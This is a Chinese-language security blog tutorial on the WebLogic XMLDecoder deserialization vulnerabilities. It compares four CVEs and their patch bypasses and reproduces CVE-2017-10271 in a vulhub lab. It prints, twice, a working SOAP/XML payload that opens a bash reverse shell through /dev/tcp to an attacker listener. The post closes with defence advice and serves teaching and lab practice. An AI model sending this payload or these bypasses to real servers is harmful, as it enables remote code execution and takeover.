漏洞原理

本文介绍了Weblogic XMLDecoder反序列化相关的漏洞原理，并以CVE-2017-10271为例在vulhub上进行了复现。有关Weblogic XMLDecoder反序列化漏洞包括CVE-2017-3506、CVE-2017-10271、CVE-2019-2725、CVE-2019-2729等，其漏洞原理相似，本文对此进行了简要介绍，并在本节给出了四个漏洞的对比（影响版本、url路径、防护绕过方法）。这里首先简要介绍Weblogc XMLDecoder相关的背景知识。

Weblogic

用途：用于解析java，部署大型分布式Web应用的Web中间件。

默认端口：7001

历史漏洞：XMLDecode反序列化漏洞、反序列化漏洞、弱口令war包上传、SSRF等本文仅介绍XMLDecode反序列化漏洞

XMLDecoder是干啥的？

XMLDecoder/XMLEncoder 是在JDK1.4版中添加的 XML 格式序列化持久性方案，使用 XMLEncoder 来生成表示 JavaBeans 组件(bean)的 XML 文档，用 XMLDecoder 读取使用 XMLEncoder 创建的XML文档获取JavaBeans。总之就是用来解析XML文档的。

Weblogic XMLDecoder 反序列化漏洞原理简介

Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML（SOAP协议）数据，在解析的过程中出现反序列化漏洞，导致任意代码执行。出问题的包是wls-wsat、_async

有关Weblogic XMLDecoder反序列化漏洞包括CVE-2017-3506、CVE-2017-10271、CVE-2019-2725、CVE-2019-2729等，其漏洞原理相似，差异主要在于出问题的包、黑名单过滤的标签，这里进行一下对比。

Weblogic XMLDecoder漏洞对比
漏洞编号	影响版本	url路径	补丁/绕过
CVE-2017-3506	10.3.6.0 12.1.3.0 12.2.1.1 12.2.1.2	/wls-wsat/CoordinatorPortType /wls-wsat/RegistrationPortTypeRPC /wls-wsat/ParticipantPortType /wlswsat/RegistrationRequesterPortType /wls-wsat/CoordinatorPortType11 /wls-wsat/RegistrationPortTypeRPC11 /wls-wsat/ParticipantPortType11 /wls-wsat/RegistrationRequesterPortType11	补丁过滤了object标签，可用void标签绕过
CVE-2017-10271	10.3.6.0 12.1.3.0 12.2.1.1 12.2.1.2	同上	补丁过滤了new，method标签，且void后面只能跟index，array后面可以跟class，前提是bytes类型
CVE-2019-2725	10.3.6.0 12.1.3.0 12.2.1.3 12.2.1.4 14.1.1.0	/_async/AsyncResponseService /_async/AsyncResponseServiceJms /_async/AsyncResponseServiceHttp	黑名单禁用了class标签，可用<array method =“forName"> 绕过
CVE-2019-2729	10.3.6.0 12.1.3.0 12.2.1.3	同上

漏洞复现（CVE-2017-10271）

复现过程（vulhub）

本文以CVE-2017-10271为例，用vulhub靶场进行漏洞复现，目标是获取反弹shell。

靶机：Ubuntu 192.168.200.129

攻击机：kali 192.168.200.131

攻击机和靶机无所谓是不是kali和Ubuntu，攻击机用于接收反弹shell，靶机应该是Ubuntu上启动的docker。首先启动vulhub靶场，cd vulhub/weblogic/CVE-2017-10271，然后执行如下命令启动：

docker-compose up –d

docker ps查看进程，已经成功启动，端口为7001

docker ps

浏览器访问靶机ip:7001，可看到如下的404页面，说明环境搭建成功。

weblogic XMLDecoder反序列化漏洞的出现位置有很多路径，具体路径我们在漏洞原理部分已经给出，这里就选第一个好了/wls-wsat/CoordinatorPortType，浏览器访问192.168.200.129:7001/wls-wsat/CoordinatorPortType，页面如下：

把访问这个可能触发XMLDecoder反序列化漏洞的页面的GET请求抓下来（BurpSuite抓个包），可以看到其HTTP请求如下图：

把这个包发送到重放器Repeater，一会改包添加poc。现在我们在攻击机kali中开启一个nc监听，监听6666端口，用于接收反弹shell（读者也可以选择其他端口）

改包，把刚才抓到的HTTP GET请求，修改请求方式为POST，然后加上反弹shell的恶意代码，注意要把Content-Type修改为text/xml 。在请求体中添加如下XML格式的poc，至于为啥这个poc这样写，后文将会进行解释。

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  
  <soapenv:Header> 
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  
        <java class="java.beans.XMLDecoder">
            <object class="java.lang.ProcessBuilder">
                  <array class="java.lang.String" length="3">
                    <void index="0"><string>/bin/bash</string></void>
                    <void index="1"><string>-c</string></void>
                    <void index="2"><string>bash -i &gt;&amp; /dev/tcp/192.168.219.134/4444 0&gt;&amp;1</string></void>
                </array>
              <void method="start"></void>
            </object>
        </java>
    </work:WorkContext> 
  </soapenv:Header>  
  <soapenv:Body/> 
</soapenv:Envelope>

完整的请求包如下：

注意上图中画横线的地方，把反弹shell的ip改成你的接收反弹shell的ip，端口改为刚才nc监听的端口。改包之后，发送请求，响应包的状态码是500，如下图所示，如果响应包如下图这样，漏洞利用就成功了。

回到刚才攻击机的nc监听，已经接收到了反弹shell，这里执行了两个命令ls和whoami进行了验证：

至此漏洞复现成功，别忘了docker-compose down关闭靶场

docker-compose down

poc的构造

这里还是简单解释一下poc的构造原理，恶意的XML数据如下：

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  
  <soapenv:Header> 
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  
        <java class="java.beans.XMLDecoder">
            <object class="java.lang.ProcessBuilder">
                  <array class="java.lang.String" length="3">
                    <void index="0"><string>/bin/bash</string></void>
                    <void index="1"><string>-c</string></void>
                    <void index="2"><string>bash -i &gt;&amp; /dev/tcp/192.168.219.134/4444 0&gt;&amp;1</string></void>
                </array>
              <void method="start"></void>
            </object>
        </java>
    </work:WorkContext> 
  </soapenv:Header>  
  <soapenv:Body/> 
</soapenv:Envelope>

这段POC的开头三行和末尾三号主要是SOAP的协议规范，SOAP是以XML形式提供了一个简单、轻量的用于在分散或分布环境中交换结构化和类型信息的机制。具体内容读者自己查查资料，这里不做阐释。我们重点关注的是中间的内容，下面我们依次介绍XML的各个标签。

java标签

<java class="java.beans.XMLDecoder">

这个标签是使用 XMLEncoder 来生成表示 JavaBeans 组件(bean)的 XML 文档，用 XMLDecoder 读取使用 XMLEncoder 创建的XML文档获取JavaBeans。

object标签

<object class="java.lang.ProcessBuilder">

通过 <object> 标签表示对象，其class 属性指定具体类(用于调用其内部方法)，此处为ProcessBuilder类，ProcessBuilder可以用于执行cmd命令，调用ProcessBuilder的start()方法启动进程，start将会在后续的标签void进行介绍。

array标签/void标签

<array class="java.lang.String" length="3">
                    <void index="0"><string>/bin/bash</string></void>
                    <void index="1"><string>-c</string></void>
                    <void index="2"><string>bash -i &gt;&amp; /dev/tcp/192.168.219.134/4444 0&gt;&amp;1</string></void>
</array>

通过 <array> 标签表示数组， class 属性指定具体类，此处为字符串，在array标签内部使用 void 标签的 index 属性来指定数组索引赋值，此处相当于创建了一个长度为3的字符串数组，三个元素的内容分别相当于：

str[0] = '/bin/bash'
str[1] = '-c'
str[2] = 'bash -i >& /dev/tcp/192.168.219.134/4444'

其中str[0]指出了cmd命令的位置，str[1]表示执行，str[2]表示执行的具体命令。注意反弹shell的语句需要进行编码，否则解析XML的时候将出现格式错误。

<void method="start"></void>

void标签中的start方法是前述ProcessBuilder类的一个方法，调用ProcessBuilder的start()方法可以启动命令执行的进程。

思考与总结

Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML（SOAP协议）数据，在解析的过程中出现反序列化漏洞，导致任意代码执行。出问题的包是wls-wsat、_async。

防御思路

如何避免weblogic漏洞被攻击者恶意利用？

1.更新weblogic的组件版本，避免使用有漏洞的版本。

2.卸载可能造成漏洞的包，如wls-wsat、_async等，或禁止对这些页面的访问。

3.部署网络防护设备，若请求的数据中含有xml数据，必须进行严格的过滤，避免执行恶意命令。

由于我是个刚刚开始入门网安的小白，也不太懂java的代码，没办法从代码层面给大家做详细的讲解了。weblogic是部署大型分布式Web应用的常见Web中间件，其漏洞的影响非常广泛，至今还常用于渗透的攻击中，了解weblogic相关漏洞是进行防护的前提。

后续的博客中，可能我还会写一些关于Web漏洞、应急响应和wireshirk流量分析相关的文章，还望读者们多多支持！

Weblogic XMLDecoder 反序列化漏洞原理与漏洞复现（基于vulhub，保姆级的详细教程）